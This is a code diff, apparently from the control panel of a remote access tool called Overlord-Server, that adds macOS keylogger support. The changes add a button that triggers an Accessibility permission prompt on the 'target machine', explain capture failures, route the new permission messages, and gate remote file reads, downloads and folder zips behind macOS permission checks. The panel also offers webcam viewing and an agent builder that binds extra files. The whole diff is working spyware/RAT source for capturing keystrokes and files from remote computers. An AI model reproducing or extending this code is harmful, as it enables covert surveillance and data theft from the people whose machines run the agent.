${escapeHtml(operation)} ${escapeHtml(risk.path)} may ask the person using this Mac to allow access to ${escapeHtml(risk.label)} for this app.
+
Continue only if they are ready to approve the macOS prompt. This choice is remembered for this browser session.
+
+
+
+
+
+
+ `;
+ const cleanup = (answer) => {
+ if (settled) return;
+ settled = true;
+ if (onKeyDown) document.removeEventListener("keydown", onKeyDown);
+ modal.remove();
+ resolve(answer);
+ };
+ modal.querySelector("[data-mac-permission-cancel]")?.addEventListener("click", () => cleanup(false));
+ modal.querySelector("[data-mac-permission-continue]")?.addEventListener("click", () => cleanup(true));
+ modal.addEventListener("click", (e) => {
+ if (e.target === modal) cleanup(false);
+ });
+ onKeyDown = (e) => {
+ if (e.key !== "Escape") return;
+ cleanup(false);
+ };
+ document.addEventListener("keydown", onKeyDown);
+ document.body.appendChild(modal);
+ modal.querySelector("[data-mac-permission-continue]")?.focus();
+ });
+}
+
+async function confirmMacPermissionRisk(path, operation = "access") {
+ const risk = macPermissionRiskForPath(path);
+ if (!risk) return true;
+ const ok = await showMacPermissionWarning(risk, operation);
+ if (!ok) {
+ notifyToast("Operation cancelled before macOS permission prompt", "info", 2500);
+ return false;
+ }
+ markMacPermissionAllowed(risk.cachePath || risk.root || risk.path);
+ return true;
+}
+
function goHome() {
- pathHistory = [];
- listFiles(".");
+ listFiles(".", ws, { resetHistory: true });
}
function updateBreadcrumb(path) {
@@ -371,6 +535,7 @@ const filePreviewModalManager = createFilePreviewModal({
clientId,
notifyToast,
onDownload: (path) => downloadFile(path),
+ beforeFileRead: (path, operation) => confirmMacPermissionRisk(path, operation),
});
let openFilePreview = filePreviewModalManager.openFilePreview;
const transferPanelManager = createTransferPanel({
@@ -1111,6 +1276,7 @@ function handleFileList(msg) {
clearPreviewPane();
}
+ markMacPermissionAllowed(currentPath);
selectedFiles.clear();
updateSelectionUI();
renderCurrentDirectory();
@@ -1256,18 +1422,18 @@ function createFileRow(entry) {
}
};
- row.ondblclick = (e) => {
+ row.ondblclick = async (e) => {
if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn") || e.target.closest(".pin-star-btn")) {
return;
}
if (entry.isDir) {
listFiles(entry.path);
} else if (isPreviewable(entry.name)) {
- openFilePreview(entry.path, entry.size);
+ await openFilePreview(entry.path, entry.size);
} else if (KNOWN_BINARY_EXTS.has(getFileExt(entry.name))) {
- openHexViewer(entry.path);
+ await openHexViewer(entry.path);
} else {
- openFileInEditor(entry.path);
+ await openFileInEditor(entry.path);
}
};
@@ -1430,7 +1596,8 @@ function handleFileAction(action, entry) {
}
}
-function downloadFile(path) {
+async function downloadFile(path) {
+ if (!(await confirmMacPermissionRisk(path, "download file"))) return;
console.log("Requesting download:", path);
const transferId = `download-${Date.now()}-${Math.random()}`;
const fileName = path.split(/[\/\\]/).pop();
@@ -1657,6 +1824,7 @@ function downloadFile(path) {
total: transfer.total,
streamedToDisk: usedStreamToDisk,
});
+ markMacPermissionAllowed(path);
removeTransfer(transferId);
fileDownloads.delete(path);
updateStatus("connected", "Connected");
@@ -1873,13 +2041,15 @@ function handleFileDownload(msg) {
URL.revokeObjectURL(url);
console.log("Download complete:", msg.path, `${download.received} bytes`);
+ markMacPermissionAllowed(msg.path);
removeTransfer(download.id);
fileDownloads.delete(msg.path);
updateStatus("connected", "Connected");
}
}
-function zipAndDownload(path) {
+async function zipAndDownload(path) {
+ if (!(await confirmMacPermissionRisk(path, "read folder"))) return;
console.log("Requesting zip:", path);
const zipPath = path + ".zip";
@@ -2652,8 +2822,7 @@ homeBtn.onclick = () => goHome();
pathGoBtn.onclick = () => {
const path = pathInput.value.trim();
if (path) {
- pathHistory = [];
- listFiles(path);
+ listFiles(path, ws, { resetHistory: true });
}
};
@@ -2661,8 +2830,7 @@ pathInput.onkeydown = (e) => {
if (e.key === "Enter") {
const path = pathInput.value.trim();
if (path) {
- pathHistory = [];
- listFiles(path);
+ listFiles(path, ws, { resetHistory: true });
}
}
};
@@ -2793,6 +2961,7 @@ const fileHexHashManager = createFileHexHashManager({
send,
notifyToast,
getCurrentPreviewEntry: () => currentPreviewEntry,
+ beforeFileRead: (path, operation) => confirmMacPermissionRisk(path, operation),
});
const {
handleFileHashResult,
@@ -3201,12 +3370,12 @@ function handleFileSearchResult(msg) {
`;
- row.onclick = () => {
+ row.onclick = async () => {
const resultName = result.path.split(/[\/\\]/).pop() || "";
if (isPreviewable(resultName)) {
- openFilePreview(result.path);
+ await openFilePreview(result.path);
} else {
- openFileInEditor(result.path);
+ await openFileInEditor(result.path);
}
};
@@ -3214,7 +3383,8 @@ function handleFileSearchResult(msg) {
});
}
-function openFileInEditor(path) {
+async function openFileInEditor(path) {
+ if (!(await confirmMacPermissionRisk(path, "read file"))) return;
const cmdId = `file-read-${Date.now()}`;
const msg = {
type: "command",
@@ -3259,6 +3429,8 @@ function handleFileReadResult(msg) {
return;
}
+ markMacPermissionAllowed(msg.path);
+
if (msg.isBinary) {
notifyToast("Binary file — use Download to save it", "info", 3000);
closeEditor();
diff --git a/Overlord-Server/public/assets/keylogger.js b/Overlord-Server/public/assets/keylogger.js
index b1d2197..3de17c7 100644
--- a/Overlord-Server/public/assets/keylogger.js
+++ b/Overlord-Server/public/assets/keylogger.js
@@ -10,6 +10,10 @@ if (!clientId) {
const clientLabel = document.getElementById("clientLabel");
const statusPill = document.getElementById("status-pill");
const fileList = document.getElementById("file-list");
+const fileListPanel = document.getElementById("file-list-panel");
+const permissionGate = document.getElementById("permission-gate");
+const permissionStatus = document.getElementById("permission-status");
+const requestPermissionBtn = document.getElementById("requestPermissionBtn");
const refreshBtn = document.getElementById("refreshBtn");
const clearBtn = document.getElementById("clearBtn");
const logViewer = document.getElementById("log-viewer");
@@ -43,6 +47,8 @@ let searchMatches = [];
let currentMatchIndex = -1;
let globalSearchCache = new Map();
let globalSearchAbortController = null;
+let clientOs = ""; // filled from the "ready" message
+let needsPermissionGate = false; // true for darwin/mac clients
clientLabel.textContent = clientId;
@@ -61,7 +67,8 @@ function connect() {
ws.onopen = () => {
console.log("Keylogger connected");
updateStatus("pill-online", "Connected");
- requestFileList();
+ // Do NOT request the file list here — wait for the "ready" message which
+ // carries clientOs so we know whether to show the macOS permission gate first.
};
ws.onmessage = (event) => {
@@ -91,12 +98,76 @@ function send(msg) {
}
}
+function isMacOs(os) {
+ const s = String(os || "").toLowerCase();
+ return s.includes("darwin") || s.includes("mac");
+}
+
+function showPermissionGate() {
+ permissionGate.classList.remove("hidden");
+ fileListPanel.classList.add("hidden");
+ permissionStatus.classList.add("hidden");
+ requestPermissionBtn.disabled = false;
+ requestPermissionBtn.innerHTML = 'Request Accessibility Permission';
+}
+
+function showFileListPanel() {
+ permissionGate.classList.add("hidden");
+ fileListPanel.classList.remove("hidden");
+}
+
+function setPermissionStatus(type, text) {
+ // type: "success" | "error" | "pending"
+ permissionStatus.classList.remove("hidden", "border-green-600", "bg-green-900/30", "text-green-300",
+ "border-red-600", "bg-red-900/30", "text-red-300",
+ "border-yellow-600", "bg-yellow-900/30", "text-yellow-300");
+ if (type === "success") {
+ permissionStatus.classList.add("border-green-600", "bg-green-900/30", "text-green-300");
+ } else if (type === "error") {
+ permissionStatus.classList.add("border-red-600", "bg-red-900/30", "text-red-300");
+ } else {
+ permissionStatus.classList.add("border-yellow-600", "bg-yellow-900/30", "text-yellow-300");
+ }
+ permissionStatus.textContent = text;
+}
+
function handleMessage(msg) {
console.log("Received:", msg.type);
switch (msg.type) {
case "ready":
- console.log("Keylogger session ready");
+ clientOs = msg.clientOs || "";
+ needsPermissionGate = isMacOs(clientOs);
+ console.log("Keylogger session ready, clientOs:", clientOs, "needsPermissionGate:", needsPermissionGate);
+ if (needsPermissionGate) {
+ showPermissionGate();
+ } else {
+ showFileListPanel();
+ requestFileList();
+ }
+ break;
+ case "keylog_permission_result":
+ requestPermissionBtn.disabled = false;
+ if (msg.granted) {
+ setPermissionStatus("success", "Permission granted — loading logs...");
+ setTimeout(() => {
+ showFileListPanel();
+ requestFileList();
+ }, 800);
+ } else {
+ let reason;
+ if (msg.reason === "keylogger_disabled") {
+ reason = "The keylogger is not enabled in this agent build. " +
+ "macOS keylogger support requires CGO and must be compiled natively on macOS. " +
+ "Rebuild the agent on a macOS host with CGO enabled.";
+ } else if (msg.reason === "user_denied") {
+ reason = "Permission denied by the user on the target machine.";
+ } else {
+ reason = msg.reason || "Permission was not granted.";
+ }
+ setPermissionStatus("error", reason);
+ requestPermissionBtn.innerHTML = 'Try Again';
+ }
break;
case "status":
if (msg.status === "offline") {
@@ -669,6 +740,13 @@ function openFileWithSearch(filename, query, targetIndex) {
}, 500);
}
+requestPermissionBtn.addEventListener("click", () => {
+ requestPermissionBtn.disabled = true;
+ requestPermissionBtn.innerHTML = 'Requesting...';
+ setPermissionStatus("pending", "Waiting for user response on the target machine...");
+ send({ type: "keylog_request_permission" });
+});
+
refreshBtn.addEventListener("click", () => {
requestFileList();
window.showToast("Refreshing file list...", "info");
diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js
index 6eb66f7..bb4a50d 100644
--- a/Overlord-Server/public/assets/main.js
+++ b/Overlord-Server/public/assets/main.js
@@ -276,10 +276,11 @@ function applyMenuSupportRules(clientId) {
setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline");
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
+ const keyloggerSupported = isWindows || platform === "mac";
setAvailability(
keyloggerBtn,
- isOnline && isWindows,
- isOnline ? "Keylogger capture is only fully supported on Windows clients." : "Client is offline",
+ isOnline && keyloggerSupported,
+ isOnline ? "Keylogger is not supported on this platform." : "Client is offline",
);
const winreBtn = menu.querySelector('[data-open="winre"]');
diff --git a/Overlord-Server/public/keylogger.html b/Overlord-Server/public/keylogger.html
index ca2c733..8d0a0af 100644
--- a/Overlord-Server/public/keylogger.html
+++ b/Overlord-Server/public/keylogger.html
@@ -65,8 +65,39 @@
+
+
+
+
+
+
+
+
Accessibility Permission Required
+
+ macOS requires Accessibility permission before keystrokes can be captured.
+ Clicking the button below will trigger the system permission prompt on the target machine.
+
+
+ Note: keystroke capture requires the agent to be compiled natively on macOS with CGO enabled.
+ Cross-compiled agents support the permission flow but will not capture keystrokes.
+
+
+
+
+
+
+
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
index 40645a6..8182db4 100644
--- a/Overlord-Server/src/server/build-process.ts
+++ b/Overlord-Server/src/server/build-process.ts
@@ -828,7 +828,7 @@ func runBoundFiles() {
env.CGO_ENABLED = "0";
sendToStream({
type: "output",
- text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support.\n",
+ text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support (keylogger keystroke capture requires CGO).\n",
level: "warn",
});
}
diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
index 4dd3403..7417cb8 100644
--- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
@@ -726,6 +726,7 @@ export async function handleWebSocketMessage(
case "keylog_file_content":
case "keylog_clear_result":
case "keylog_delete_result":
+ case "keylog_permission_result":
deps.handleKeyloggerMessage(client.id, payload);
break;
case "script_result": {
diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts
index 49a0cc1..25a846f 100644
--- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts
+++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts
@@ -447,7 +447,7 @@ export function handleKeyloggerViewerOpen(ws: ServerWebSocket) {
sessionManager.addKeyloggerSession(session);
ws.data.sessionId = sessionId;
logger.info(`[keylogger] viewer connected session=${sessionId} client=${clientId}`);
- safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
+ safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, clientOs: target?.os || "" });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
}
@@ -465,6 +465,12 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket, ra
const commandId = uuidv4();
switch (payload.type) {
+ case "keylog_request_permission":
+ // Ask the agent to trigger the macOS accessibility permission prompt.
+ // On non-macOS agents this is a no-op that immediately returns granted.
+ target.ws.send(encodeMessage({ type: "command", commandType: "keylog_request_permission", id: commandId } as any));
+ metrics.recordCommand("keylog_request_permission");
+ break;
case "keylog_list":
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_list", id: commandId } as any));
metrics.recordCommand("keylog_list");
diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts
index 737f0c3..8b69c91 100644
--- a/Overlord-Server/src/wsValidation.ts
+++ b/Overlord-Server/src/wsValidation.ts
@@ -31,6 +31,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"keylog_file_content",
"keylog_clear_result",
"keylog_delete_result",
+ "keylog_permission_result",
"voice_uplink",
"desktop_audio_uplink",
"webcam_devices",